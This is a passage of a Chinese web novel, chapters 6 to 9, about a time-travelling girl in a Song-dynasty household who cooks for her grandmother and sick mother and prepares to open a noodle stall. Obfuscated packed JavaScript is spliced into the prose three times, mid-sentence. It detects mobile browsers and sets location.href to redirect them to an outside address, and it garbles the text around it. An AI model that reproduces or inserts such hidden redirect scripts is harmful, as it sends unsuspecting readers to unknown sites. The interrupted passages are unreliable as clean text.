等她从论坛里回过神来，才发觉段婆婆早就将锅碗灶房收拾妥当，给阿娘煎药的锅子也已经架上，在火坑里升了小火让它慢慢煨着，她绕出去寻，正好碰见婆婆从柴棚里翻出一把锄头来。 “婆婆这是要…锄地？” “嗯，明日就要赶集了，今日赶紧翻完了明日就能撒子。” 段婆婆说着就把袖子给挽起来卷在肘窝处，动作利落极了。 齐心高兴自荐：“我也一起吧！” 谁知婆婆断然拒绝：“你坐着吧，我还没老呢，且用不上你。” “谁说婆婆老了，是我自己想干活呢！” 段婆婆深深地看了她一眼，没再拒绝：“柴棚里还有一把犁，你去拿来吧。” 下了地，齐心就发现段婆婆真的是田间的一把好手，动作又快又有力，且用的都是巧劲儿，能比寻常人更省两把子力气，虽跟着齐爹过了这么多年的好日子，看来也没怠懈过，她虽年过半百，身子骨倒很是健朗，或许也是因为如此。 段婆婆在前头用锄头碎了土和草，齐心就跟在后头用犁再翻土，给她从兴致勃勃干到了胳膊虎口酸痛，好不容易坚持到最后胳膊已经抬不起来了。 “累了吧？” 段婆婆收了锄头，随意抹掉额头和脸颊的汗珠，看齐心任由一双胳膊在身前左右晃荡，颇像个精怪，又嫌弃上了：“叫你别来吧，这种地哪有你想的那么轻松？” 齐心笑得像个皮猴儿：“嘿嘿，突，突然好像就不怎么爱种地了呢。” “你本也不爱做这些的。” 段婆婆这话刚出口，就和齐心一起陷入了诡异的沉默中，她眼神闪躲着飘远。 齐心自知失言也不敢再说，祖孙俩各怀心思，沉默了半晌还是段婆婆先开口： “走吧，累了就回去休息，你娘的汤药应该也煎好了。” 她只能附和着扯了扯嘴角：“好，婆婆也回去好好歇会儿，只是今日这午饭要晚些吃了。” “不妨事，早晨吃了那么多面还不饿呢，你娘若是饿了我先给她吃块糕饼垫垫肚子就是。” 她乖乖点头，不再说话。 这多说多错可如何是好，她也不是那种能闲下嘴来的人啊！ 憋，憋一憋，等过了这个当口，等婆婆忘了也就没事儿了。 齐心天真地想着。 绕着院笆外回家简单洗漱一番，换了身干净衣裳，她便直直摔进床榻里呼呼大睡起来。 今天是真累了。 齐心这一倒下去就睡了一个多时辰，等再醒来已近申时。 心里头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058815|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记挂着明日还得给王伯伯荣哥儿试菜，忙不迭爬起来去寻段婆婆说要去外头买菜。 婆婆怕她记不清路本想跟着一起，却被她拒绝了。 “婆婆今日锄地辛苦了，就在家中休息吧，我已经记得路了，自己跑一趟就行。” 段婆婆有些犹豫：“可你……” 齐心直接打消了婆婆犹豫：“孙女儿也要学着独立是不是？往后比买菜难的事儿可多多了，婆婆难道能看着我一辈子不成？” 见婆婆微怔，眼中似乎又瞬间的失落，她忙凑上去挽着胳膊找补： “自然是要看要一辈子的，不过这种小事儿就让我自己试试好不好？” “好好好。”段婆婆去抓了一把铜板塞到齐心手里，假装不耐烦地赶人，“那你快去吧，再晚些那铺子可要歇了。” 等齐心买完菜回来已是日落时分了，比着清晨更加浓烈的彩霞色就挂在天边，红红地照耀着院墙和屋檐，她站在院子中伸了个懒腰，胳膊的酸痛感褪去了大半，她忙去看阿娘和婆婆，见她俩就在阿娘的房里说着话，霞光从半开的窗户中跳进屋里来，暖暖的很安心。 脑袋就凑在门口要也不进去：“婆婆和阿娘饿了吧？我这就去做饭。” 段婆婆起身：“你今日也累了，还是我去做吧。” 齐心忙不迭冲上去将人重新按回椅子上：“还，还是孙女去吧。睡了一觉好多了，不累呢！” 她是真的不想再看见一锅糊粥了！ 张秋玉的眼中映着一抹霞色，看向齐心是极致的温柔：“好孩子，辛苦你了。” “咱们一家人说什么辛苦不辛苦的，我现在可愿意做饭了呢！” 说完也不等婆婆和阿娘再做反应，齐心便一溜烟跑进了灶房。 将稻米淘洗净倒进砂锅中，她秉承着一节食指的水量将米先煮上。 煮上这一顿家里的米斗里就没剩多少米，宋朝时候农户多种糯稻和粳稻，虽引入了占城稻提高了产量减轻了饥荒，但占城稻口感不算好，宋人多不爱食用。齐家这点稻米只怕就是占城稻，可哪怕这样，段婆婆显然也没舍得买太多。 看来改善生活质量实在是当务之急啊。 早上用剩的香蕈简单冲洗一遍努力切成薄片，剩下的鸡毛菜全都洗净备用，又掰了一块儿姜切丝增加辛味儿，再来上两颗蒜瓣儿切碎，鸡子选了仨大个儿的在一旁备用。 齐家的烟囱里又升起了炊烟，李娘子在自家院子里看得啧啧称奇： “这齐家还真就自己做起饭来了。罢了罢了，这五文的活计本也是天上掉馅饼的事儿，还能日日掉不成？” 自我安慰着也拐进了自家灶房。 再过半个时辰，郎君和志哥儿就要回家来了，也是时候做饭了。 炒锅烧热倒入凉油，齐心将姜丝蒜蓉倒入锅中煸出香味，这才把香蕈倒进去翻炒。今日这炒菜很是简单，她已经颇有几分自信，看着香蕈在炒勺的翻炒间逐渐变了颜色，鲜香味飘来，又往灶膛里添了柴让火烧得更旺些。 论坛里的经验之谈，青菜若想炒得清脆不出水就是要大火，小小诀窍她都牢记心中，鸡毛菜尽数倒进锅里，看着铺满了一大锅，很快就软了姿态伏在锅底，多多翻炒几次，等菜梗也几乎熟了再调味，只需简单的酱油和盐就足够。 盛菜装盘，剩下的就更简单了，换小火挖一勺猪油炒化，齐心捏着鸡子在灶台边轻轻敲击，一下两下没能敲开，第三下使了劲，蛋壳竟几乎碎了，她手忙脚乱地将鸡子一下甩进了锅里。 看着锅底又是蛋液又是蛋壳的煎蛋，齐心叹了口气，只能默默拿筷子将壳全都夹出来扔掉，顺便回头看了看门口。 “还好还好，没人看见。” 所以昨天的打鸡子果然是新手保护期吧！ 虽也掉了点壳儿，但不至于全都掉进锅里。有了第一个的教训，第二个试着选了个折中的力度，趁着鸡子刚裂开一条缝，生生又拇指将壳掰开，这才成就第一个完美的煎蛋。 第三个如法炮制，每个鸡子出锅前只在表面撒一层薄薄的盐就够，第一个完全失败的蛋被齐心塞在了最底下。 一会儿只需上演眼疾手快就不会被发现。 掌心相击。 “搞定！” 7. 第 7 章 齐心刚转身准备去盛饭，就发现张秋玉已经在灶房门口不知站了多久。 她背对着光线，叫齐心看不清她面上的表情，晚霞如熔金，倾泻下一片橙光，落在她的身上形成一圈光晕，就这样安静地立在那里，看着灶房里的一切。 齐心看不出她到底在那里站了多久，心里有点慌。 自己刚才做饭时也查阅过论坛，那个画面是只有自己能看到吗？还是所有人都能看到？ “阿，阿娘，你怎么下床了？” 张秋玉脚步虚浮，缓慢地走近前来，伸手擦掉了齐心鬓角的汗珠。 正是暑热，灶边生火做饭就更热了。 齐心这会儿终于能够看仔细阿娘的眼神，那一双眼睛里极尽温柔的怜惜： “阿娘…阿娘就是想来看看，一想到你现在这样懂事，我就觉得自己身子好了不少，起身走动的力气都有了。” “阿娘刚才看见我……做饭了？” 张秋玉见女儿有些慌乱，只以为她是怕自己瞧见了她做饭时的手忙脚乱不好意思，忙安慰： “没事没事，阿娘没瞧见你方才把壳儿都扔锅里了。” “……” …… 是真的没看到吗，阿娘？ 旁敲侧击半天确认张秋玉真的没有看见什么特别的画面，齐心这才敢放心论坛是只有她自己能看见的东西。 今日的晚饭，一人一个煎鸡子也算沾了荤腥了，鸡毛菜分外清甜，菜梗还保留着脆嫩的口感，也算满足。 张秋玉刚喝了一碗汤药，这会儿配了一大碗粟米饭也没觉得恶心倒胃口，寻常人家都不爱吃的鸡毛菜，过了女儿的手竟也能有这样的滋味。 饭间又是忍不住一顿夸赞齐心，直把脸皮够厚的她也说羞了。 “阿娘快别说了，都给我说不好意思了。” “我只嫌说不够呢，你从前可是绝不进灶房的，竟能想出这样的搭配，做得还这样好吃，娘高兴高兴怎么了？”张秋玉说着微微凑近齐心，放低了声音，“比李娘子的手艺好多了！” 齐心脸上的笑全程就没放下来过，人被夸得晕乎乎的，高高兴兴要去洗碗，就连段婆婆要抢也不肯给。 等清理好了灶房，她搬来一根竹椅放在院子中央，坐没坐相地靠在上头，两条腿伸得笔直，胳膊就耷拉在椅子外头放松地晃荡着。 这会儿天还没全黑，降了温的晚风从远处阵阵吹来，吹散夏日的燥热。 齐心闭着眼睛刷着论坛，复习盘算着明天打算做的菜。 按着她对平台经验值的分析，今天应该至少加了五六点才对，可眼下经验值只增加了两点，经验条赫赫然显示着[3/10]。 “居然不是切菜涨经验吗？那增加的两点又是因为什么……” “难不成是做了两顿饭？” 觉得自己这次才是真正找到了升级关键的齐心，靠在竹椅上彻底放松下来，偶尔从邻居家中传来的几声孩啼、狗吠、鸡鸣，也彻底融进一片祥和的静谧之中。 和爸妈一起出去旅游住在农家山间的民宿时，似乎也是这样的感觉。 有滚烫的液体顺着眼角一路滑进了发根，湿润了皮肤隐匿踪迹。 “……子……齐小……” “齐小娘子——！” 呼唤声越来越清晰，齐心猛地睁开眼，腾地一下从椅子上站起来，她方才竟然不小心睡着了。 惊吓之余四下张望着，这才看见站在院门外的王家父子俩，王星荣正挥着手招呼示意。 齐心胡乱在脸上揉搓了一把，确认没有流口水后这才上前。 她打开院门要将人往里迎，王伯伯却拒绝了。 “太晚了不便打扰，说几句就走。” 见他坚持，齐心也不强求：“王伯伯请说。” “我今日上工间隙替你打听过了，确实有一片都是摆食摊儿的，不过那里如今都被人占满了，不太容易塞进去……” 齐心听到这话也不算太过失望，她本也没指望这事儿这么顺利就能成：“无妨，王伯伯愿意帮我打听就已经是帮了我大忙了，那处不行，我明日起再多多转悠转悠，总能寻到位置。” 王星荣先急起来：“不不，不是，你听我爹说完。” 她疑惑地看向王伯伯，就听他又补充道：“我今日问了我那做活儿的工头，那一片的人他都认识，摊位现下虽是满的，可其中一家因着儿子升迁，一家都要搬到府城去住，如今已经在拾掇东西，那位置约莫过个五六日便能空出来了。” 齐心仔细听着，眉梢不由自主地扬起，一双清亮的眼睛里绽放出惊喜的光芒。 “这不是正赶上了吗！” 她恨不得拉着面前两人狠狠地转圈欢呼，好在“齐心”留下的时代克制还在，不至于赶出这样冲动出格的事儿，但她依旧笑得见牙不见眼，连连称谢。 “你若是想好了，我就同工头好好说说，让他帮忙将位置留下，不过要快，那位置应是抢手的，过了这个村儿怕是没有这个店了。” 齐心忙点头：“我明白，这就回去同婆婆和阿娘商议，王伯伯你们明日过来再尝尝我做的东西，应该就能有个定论了。” 王伯伯欣赏地看了她一眼：“你是个聪明的孩子，既然活下来了，就好好活着。” 她微愕，脸上的笑容有瞬间的僵硬，半晌才反应过来，重新恢复自然的微笑：“谢谢王伯伯，我如今已经想明白了。” 父子俩笑着离开，齐心赶紧带着竹椅进屋，落了堂屋的门锁。 她看着婆婆和阿娘神情严肃，没了昨日随口一提的散漫样子： “婆婆，阿娘，我想去摆食摊儿。” 段婆婆被急匆匆地拉来坐下，正一头雾水，转念想到早晨的事儿，她也正襟危坐起来：“是王老大来说过了？” 张秋玉左看看右看看，不知祖孙俩打的什么哑谜：“你们说的是什么事儿啊？” 齐心将今晨辛苦王伯伯打听消息，和方才新得的信儿，统统讲了一遍。 “婆婆阿娘，这确实是个难得的机会，若你们也同意，不如我们明日跑一趟亲眼看看，也就知道卖什么好，就是不知这撑起一个摊子得花掉多少银钱……” 她说到最后，声音越来越小，这手里没钱万事艰难啊。 若是能做起来，日后日日有进账倒还好，若是垮了亏了，那她们一家只会陷入更加困难的境地，所以不能赌，做好了市场调查再做决定也不迟，若那位置真那么快就定没了，就是她们与那摊位没缘分，再寻就是。 可段婆婆和张秋玉仍旧沉默着。 良久，还是张秋玉先开口：“娘，把我的药停了吧。” 齐心一愣，看着婆婆的脸爬满怒意，指着阿娘怒斥：“你病着，这药该吃就吃，再怎么穷还能短了你的治病钱不成？” “娘，我……” “行了行了，不必说了。”婆婆怒极起身，转头瞥了齐心一眼，“你跟我来。” 她回头看了一眼阿娘，见她脸上似有愧色，忍不住心疼，但婆婆严厉在前，只得给了阿娘一个安心的眼神，这才匆匆跟了出去。 没想到婆婆竟带着她往二楼的仓库来了。 “咳咳咳——” “咳咳——咳——” 仓库的门刚被推开，祖孙俩就被里头掀起的尘土味儿呛得连连咳嗽了好几声，齐心不得不捂紧口鼻，这才勉强好受一点。 仓库里黑漆漆一片，段婆婆摸索着门边的烛灯点亮，她这才勉强看清里头的情形。 这一层并未隔出如一楼般的卧房，除了楼梯的部分，这一层全都做了仓库的储物，层层叠叠地堆满了多年未用的旧物，特别是那些木制品，一看就有些年头了。 段婆婆推开尘封多年的窗户，外头微凉的风灌进来，吹去不少尘气，那种灰蒙蒙沉甸甸的味道四散而去。 环视一圈，齐心这才瞧见仓库里头除了一些常用的家具之外，旁的都是……锅碗瓢盆蒸笼器具。 还有…手推车！ 那种她从前只在古装剧里见过的手推货物的两轮木板车，只是它看起来又不全然像拉货的，更像是她在后世认识的小吃摊车。 “这…这是？” 段婆婆带着她走到推车近前：“你爹发家前也是摆摊起家的，后来去了府城开酒楼，这些东西用不上却也不舍得丢，说是留个念想…” 婆婆回头看了齐心一眼，似有感伤，又道：“没想到如今又能派上用场了。” 她对上婆婆的目光，好半晌才回过味儿来。 “婆婆你同意了？！” “昨日本也是同意的，只是没想到会这么快，你做的那打卤面确，咳，确实不错，在这儿也算得上半个新鲜玩意儿了，定是不愁卖的，家中正好有这些东西，不必花手里的现银定做，不过是费些食材的钱，你放手去做就是，不要前怕狼后怕虎的。你爹当年可也是凭着一股子干劲儿才冒出头的。” 提到儿子的成就，段婆婆的语气里难免带上骄傲的色彩。 烛火被外头的风吹得轻轻晃动，红色的火焰却在婆婆眼中映出些悲凉来。 齐心上前牵住了婆婆德手，目光坚定又真诚：“婆婆放心，我一定能重新找回爹的酒楼，咱们一家人还能过上好日子，甚至比从前更好。你信我吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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昨日出去没见着玉米淀粉，便只买了点荞麦面粉替代，和着酱油白糖兑水搅匀，备着一会儿勾芡用。 黄花菜是时令，很是新鲜，切了尾蒂就放在一旁备用。 等锅里的猪肉炖到可以轻松插入筷子，齐心才把它捞出切成丁。 这肉汤却千万不能倒掉，是后头给卤子增香的关键。 起锅烧油，放入姜蒜煸出香味儿，先把猪皮的油脂煎出一部分，等它呈现出微微焦黄的色泽，再煸炒瘦肉的部分，依次倒入刚才备好的香菇粒、木耳、豆干、黄花。 等锅中的热气完全传递到每一颗肉菜上，再浇一圈儿酱油，撒上两勺盐，把刚才泡的香蕈水和肉汤都倒进锅里。 灶膛里的柴火时不时蹦出噼啪的声响，和着渐渐透进光亮的窗户，一齐将灶房变得明亮起来。 齐家灶房的炊烟在渐明的天色中显了踪迹。 —— 李娘子吭哧吭哧爬起的志哥儿吵醒，惊得瞬间睁开了眼睛。 “哎呀！迟了迟了！”她急忙从铺上爬起来，看着志哥儿也急匆匆地一边穿衣裳一边溜到外头洗漱。 急得她反手就给身旁呼呼大睡的人来了一巴掌。 “还睡呢！儿子上书塾要误了时辰了！” 陈大郎正在梦中与好友喝酒，就见媳妇儿气冲冲地奔过来，当着外人的面赏了他好大一个耳光，吓得他立刻坐起，双眼睁得溜圆： “媳…媳妇我错了！” “我看你真是睡糊涂了，赶紧起！”李娘子说着又是响亮的一掌落在大郎背上。 志哥儿那方已经囫囵个儿地洗漱完又旋风似地进屋，在他那张小书桌上胡乱地翻找着，李娘子在门口瞧着他：“今日是来不及给你做早饭了，给你三文自个上书塾外头买着吃吧。” 小孩儿哥乍一听脸上笑意泛滥，不过听到三文时脸又沮丧起来：“娘，三文钱连块胡饼都不够呢！” “嘿！你这孩子……罢了罢了，那就五文，再要就一文也不给了，你自己饿着肚子上学吧。” 志哥儿好容易翻出自己要带去学堂的课业，讨好似地蹭到李娘子身边，极尽谄媚捧出一双手：“好阿娘，五文就够，足够了，吃饱了才学得好不是？” 李娘子翻了个白眼，在他手心扔下五个铜板，打着哈欠目送他出门。 人一溜烟跑了，她刚准备进屋再补个觉，就见隔壁齐家的烟囱难得有了动静。两家就隔了两堵墙加一个夹道，离得着实不算远，只是院墙颇高，寻常院子里的事儿瞧不见，可那烟囱的飘忽的灰烟倒是一抬头就能见，还能顺带闻着点香气。 “这是太阳打西边出来了，齐家还有这么早做饭的时候呢，这两日总闻着香味儿，也不知是捣鼓什么好东西，照段阿婆那厨艺不应该呀……” “难不成那段阿婆开窍了？” 她自言自语着困意席卷而来，也顾不上再想许多，倒头又睡。 8. 第 8 章 齐心的卤已经炖煮得差不多，把刚提前备好的料汁分了三次倒入，最后才打了鸡子搅散均匀地倒进锅里。 这会儿还不能急着翻动，得等它几乎凝固，再翻动均匀。 已经能看到粘稠的糊不断地冒着泡儿，挂在肉菜上的酱汁一看就是拌面就饭的好手。 齐心已经能够想象这卤挂满面条是什么模样。 王家父子不知何时已经到了，段婆婆将人请到堂屋，王星荣闻着灶房那边飘来的香味儿却坐不住了，嘴上只说是过去看用不用帮忙，口水不知咽了几回。 昨日吃了那一口炒汤饼他就一直心心念念到现在，可到了灶房门口他又有些踌躇着不好意思了，这么急好像他真就多馋嘴似的。 “齐…齐小娘子。” 声若细蚊。 齐心正将卤子往外盛，听着说话声忙回头，见是王星荣来了，笑着招呼：“你来啦，再有一个菜就好了，先去堂屋歇会儿吧！” 王星荣已经瞧见她手里端着的那一大碗卤，不同于昨日的干香味儿，今日的咸酱香又有另一种吸引力，他下意思咽了咽：“太…太多了，一个就够。” “一个且不够，就是想让你们帮我看看，这味道能不能卖出去呢！” 她说着，也顾不上再招呼，加快了手中的动作又重复了一遍前两日的番柿鸡子卤，生怕前面的卤子凉了减了味儿。 好在有过一次的经验，第二次做起来更是得心应手，不过半柱香的时间就完美出锅。再煮上一锅汤饼，今日的早饭就算成了。 齐心刚想唤段婆婆来帮忙，结果回头一看，王星荣那小子竟还趴在窗边往里头看着。 也没客气，她主动开口：“星荣哥哥，劳烦你搭把手？” 王星荣耳朵迅速染上一层红色：“齐…齐妹妹……” “快快快——！哎哟，要端不住了！” 齐心一声惊呼，吓得王星荣也顾不上不好意思了，几个跨步，赶紧进屋一手一个盛了满满卤子的大碗，跟着只剩面碗可端的齐心回了堂屋。 “婆婆，王伯伯！开饭啦！” 王实仓促起身，虽是笑着，却也和王星荣方才一般带了点不好意思：“辛苦齐姑娘了。” “王伯伯别客气，你和星荣哥哥如今都是我的试菜员呢，我要谢谢你们才对。” “这…这……” 王实一时不知该说点什么，就被王星荣打了茬：“试菜员？这叫法既新颖又契合，不愧是齐姑娘，不仅会做饭，还这么聪明！” 给齐心夸得想笑。 但乐归乐，她也没忘了干正事儿：“今日做的这个叫打卤面，我做了两种卤子的口味，左边的是番柿鸡子，右边的……就叫经典卤吧，任你们喜欢，选哪个浇在面上都可以，大家都帮我试试，看哪个更适合拿出去摆食摊儿，我没干过这个心里实在是没谱儿得很。” 王星荣早就等不及了，抢着帮大家都打上一碗面，这才坐下先盯上了那番柿鸡子卤，王爹则选了经典卤。 齐心往手里的那碗也浇上经典卤子，先进屋给了阿娘，这才出来用自己的。 卤子刚浇在面上，眼睛就先比嘴得到了满足，卤子在烛火的映射下亮晶晶地反着光，能看见多种食材均匀地分布其间，香气萦绕，只稍用筷子稍稍搅弄，卤子的糊汁儿就缠上了汤饼条，将所有的味道它煮成完整的盔甲。 “一定要拌匀了才好吃呢！” 齐心示范般地上下左右翻拌着，王星荣刚要往嘴里送的那筷子面应声收了回去，照着她的样子重新拌匀后，这才大大地吸溜上一口。 “嗯——！” 一声满足的、不由自主地赞叹同时从王家父子二人鼻中发出。 “这经典卤太鲜了！” “这鸡子的也好吃！酸甜荤香又爽口，这卤单喝一口都绝了，好吃好吃好吃！” 王星荣碰上好吃的，这口舌可比他爹厉害多了，啥夸赞的好话都说得贴切又生动，王爹在一旁只拼命地点头。 已经等不及再尝尝另一道经典卤的味道，他直接在先前的卤子上又加了一勺经典卤，两相结合，竟也给他吃出另一种香味儿来。 “这两个混在一起也好吃哩！” 王爹边吃边附和：“好吃好吃！” 父子二人俨然化身干饭机器，一连炫了三碗面这才摸着滚圆的肚皮作罢。 “嗝———咳……” “嗝。” 段婆婆脸上的严肃也在一口一口打卤面的攻势下软和下来，吃了一碗不够，也还添了小半碗。 齐心看得心里暖洋洋的，笑眯着眼：“怎么样，这两个卤子哪个更适合去摆摊儿？” 几人脸上都露出了为难的表情。 还是王星荣脑子转得更快：“为何一定要选一个，若是两个口味都能摆上，食客有个选择岂不是更好？” 齐心托着下巴思索着：“其实我不是没想过，只是怕时间来不及准备，星荣哥哥，你们寻常在外头是更愿意花钱吃早饭还是吃午饭呢？” 王星荣挠挠耳朵：“我和我爹早上一般就对付对付，只中午和晚上会多吃些，这样下午才有气力干活，晚上睡觉才不会饿醒，旁的人……大抵也是如此。” 齐心略有所思：“这话有理。” 她之前只想着这时代大家多食早晚两餐，却忘了干体力活儿的人自是要补充体力的，这中午和晚上的饱餐对他们来说更为重要。 “若是只用赶在中午前出摊儿，那倒是来得及多备些口味了。” 王星荣眼睛瞬间亮起：“那可太好了！那一片儿便宜好吃的东西我们都吃腻了，若你真出了摊儿，我日日都去吃！” 齐心又转向王实：“王伯伯，你觉得呢？” “真，真挺好，每日能换着口味吃吃也很不错，若出摊儿，我们都去你那儿吃。” “嘿嘿，等白日我和婆婆去那街上再看看，彻底定下再跟伯伯说。” “好嘞！” 父子俩又得了一顿香喷喷的饱饭，高高兴兴地出工去了。 齐心正和段婆婆收拾着堂屋的碗筷，就见阿娘扶着墙边，从卧房里缓缓走出来了，手上还拿着她吃空了的碗筷。 “哎哟！你怎自己就出来了！”婆婆惊讶，丢下手中的碗就过去搀上了。 齐心刚要上前，就见婆婆的手被阿娘推开，坚持着自己走到桌前来，把碗摞在收拢的大碗里，眉眼放松带了点笑意： “你们看，我是不是好多了？已经有气力自己下床走动了。” 段婆婆急了：“你瞅你，急什么啊！昨日扶你去灶房就说好了要好生歇着，怎的又自己下床来了。” 齐心也点头：“阿娘，慢慢来没事儿的……您别强撑啊。” “我真的好多了，可不是逞强呢，见你们好，我身上就不知道从哪里冒出来一股子力气和干劲，就觉得自己能走一走，再过上几日，说不定我就全好了！” 齐心看着张秋玉面容憔悴还是有些担心，但高兴更多。 能起来走动慢慢恢复，确实好过缠绵病榻、胡思乱想，当即也不反驳了，只是规劝：“那阿娘一定要是适度，若是累了，就要回去躺着，这事儿急不来，不然伤了根本以后落了病根可就得不偿失了。” 见女儿点了头，她便更高兴了，忙应下：“是是，阿娘省得的！一定不会累着！” 说着上前摸了摸齐心的脸：“还有，今日这打卤面也好吃得很，我的心儿如今可真是太厉害了，也不知你这小脑瓜是怎么想出这么多主意的！” 齐心自然没法说是论坛的功劳，她心里清楚就算自己说实话，大家也不会相信，只能默默抗下所有美名，嘿嘿！ 段婆婆在一旁听得母女俩自顾自定好，自知没了法子，也只得默认。 留了婆婆阿娘俩人在堂屋待着，自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058817|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则是去洗碗筷收拾灶房了，昨日婆婆抢着去收拾东西，结果她今日做饭时差点没找着东西。 这事儿果然还是得自己来。 以后这灶房就是她的工作台，妈妈曾经的工作台也是绝不让她和爸爸碰的，如今她的也要这样了，全都按自己顺手习惯的来，才不会影响她做饭的速度。 说不准哪天她也能成为爸爸那样的大厨呢！ 巳时末，段婆婆带着齐心往团街去了，两人脚程不算快，走上两刻钟也就到了，这里几乎临近县城的中心，比她们家那城边的角落可热闹多了。 各式的商铺和小摊儿扎了堆，齐心一路听到不少新奇有趣儿的吆喝声，左看右瞧地频频回头，等到了团街，找到王伯伯说能摆食摊儿的那一段儿，果然看见不少整热闹的摊位，时不时就会有食客路过，或是买上几样东西再走。 附近各类吃食的铺子不少，摊位除了几家卖日用、首饰之类的，其余的都是在卖吃食。 胡饼、糖水、包点、水果、茶水、糍糕……种类繁多。 看得齐心眼花缭乱，馋虫奔走。 段婆婆似看出她的期待：“买块儿糍糕吃吧。” 齐心看得专注，好半晌才反应过来婆婆说了什么，回头忙尴尬地拒绝：“不，不用。我就是看看。” 这几日除了在家吃的那几顿饭外，也没见婆婆和阿娘吃些花里胡哨的零嘴儿，她多少也能猜到她们是舍不得多花钱，那她就更不能拖后腿了。 “一个糍糕花不了几个钱，看了半天，吃一个咋了？” 说着，段婆婆直直往那摊子去了。 齐心无奈，只能跟上。 “摊主，你这糍糕怎么卖的？” 那摊主娘子见有食客上门，自是笑眯眯地热情招呼： “呀这位阿婆，我家糍糕都是今早新鲜做的呢！只需三文一个，香甜软糯，附近的姑娘娘子们都爱吃！” 段婆婆没犹豫，递过去三个铜板果然收获了一个用草叶包着，还热乎的糍糕。 那糍糕她自己也没吃一口，直接塞到了齐心手里。 糍糕不大，就算用草叶包着也占不满她的手心，齐心看着糍糕心口有点儿说不上来的酸。 是不是所有真心为孩子的长辈都是这样？为你好却又别扭地说不出口，那些细细密密的关心和爱全都藏在这些几不可查的行动里。 她果断将糍糕扯成两半，将其中一半重新塞回了婆婆手中。 “婆婆一起吃。” 不等婆婆拒绝，她快走两步走在前头，这才将手中的糍糕放到嘴边，咬上一大口，果然如那摊主娘子说的香甜软糯，仔细嚼一嚼还能感受到带了点韧劲，这口感着实不错。 段婆婆在后头看着自己手中的半块糍糕有些愣，眼皮挡住了她眼中的情绪，好半晌才看着齐心的背影咬下一口。 又香又糯，确实值得三文钱。 她也多年未吃过街边这样便宜的小吃食了，可这样的味道似乎从未变过，府城里清闲富贵的生活似乎只是一场云烟梦。 “走恁快作甚，还想丢下我这老太婆不成？” 段婆婆假意骂一句，抬脚重新跟了上去。 齐心在前头听见也悄然放缓了脚步，等婆婆走到身边一同向前。 逛了一圈儿，齐心对这附近都卖着什么吃食心里有了数，在这里，打卤面确实算得上新鲜的吃法，只要能控制成本售价别过分离谱，与周围几家汤饼店也不至于打上价格战。 且这一圈儿看下来，这里的人更偏爱咸香鲜甜的食物，她也见识到了许多糟货，就是用酒糟来腌制的吃食，姜、瓜、黄芽、鸡肉、猪头肉……似乎能想到的食材都能被他们做成糟货。 因是用酒糟浸泡，泡出来的食材就会担忧淡淡的酒香，储存的时间也会变长。 这东西下饭又解腻，倒是和泡菜有异曲同工之妙。 泡菜嘛…… 9. 第 9 章 正值夏日，若是来上一点清爽解腻的小泡菜，再配上一口咸香满糊的打卤面，也算别有一番风味。 阿娘因着病弱没什么胃口，佐点小菜说不定也能生津开胃，早点好起来。 再者说她和婆婆，这样热的天干完活儿后，若是来上一片爽脆酸甜的泡萝卜、腌黄瓜、豆角、莱菔、白芥……总之万物可腌，哪怕空口就一碗饭也能开胃！ 齐心脑中光是闪过这个念头，嘴里就忍不住分泌出馋虫的口水来，也顾不上吃手中的糍糕，挽了段婆婆扭头就走： “走，婆婆！咱去买陶土坛！” “哎哎哎——！你这孩子毛毛躁躁的，怎的说一出是一出，买陶土坛又是做什么用啊！” 段婆婆被紧急掉头明显走了个蹑跷，因齐心扶着这才没摔倒，气得老太太在她胳膊上，轻轻地，拍了好几下。 方才过来的路上她们便路过了一家卖瓷器的铺子，齐心在铺子里看了一圈儿，虽有一些陶土制成的器具，却没有她想要的那种形状。 老坛酸菜泡菜坛子这东西应是源于四川，也就是这会儿的蜀地，山高路远，这风味用具不便流传倒也合理。 要不…不做了？ 她看着面前的陶土大缸陷入了沉思。 那店家见她发呆，只以为她只看不买，是以也没往她跟前凑，只招呼着旁的客人。 齐心沉思，齐心纠结。 这大缸几乎能钻进一个她，根本不适合做泡菜，倒是更适合做东北大酸菜。 昨日段婆婆便主动拨了五贯钱给她，说是让她自己做主，家中做饭买菜，摆摊儿要补齐的东西都可一并从这五贯里出，若是不够，再同婆婆要。 眼下这口大缸不仅不符合自己的预期，甚至因体型太大，竟标价五十文，对现在的她来说，简直是一笔巨款。 段婆婆在一旁等得皱眉，根本猜不准她的心思：“你这到底是买是不买？” “要买，但不买这样的。” 她似是想定了，让段婆婆原地等她，转头去寻店家。 上一个客人刚巧买了套茶器离开，店家正乐滋滋的，这会儿见齐心过来，只以为她是想定了要买的，脸上的笑容就更深了。 “这位小娘子可是要买那水缸？” 齐心摇摇头：“不，想问问您家陶土器具接不接受定制？” 那店家一愣：“定…定制？” “嗯，我这有个图样子，想找人帮我做出来，形状不难，若是能做，那图样子我也不收回，往后若还有人想来做，您尽管用就是。” 四川的泡菜在后世因着交通运输的便捷，逐渐走入人们的视野，走近千家万户，若她你能在这里将泡菜推广出去，说不得也能掀起一阵风潮。 “这……” 那店家看起来显然有些为难，他也并不信一个小姑娘说的什么还会有人来做，这样从未曾见过的款式，尚不知是用来做什么的，往后哪里还会有人买？ 所以什么尽不尽管用的话他都没往心里去。 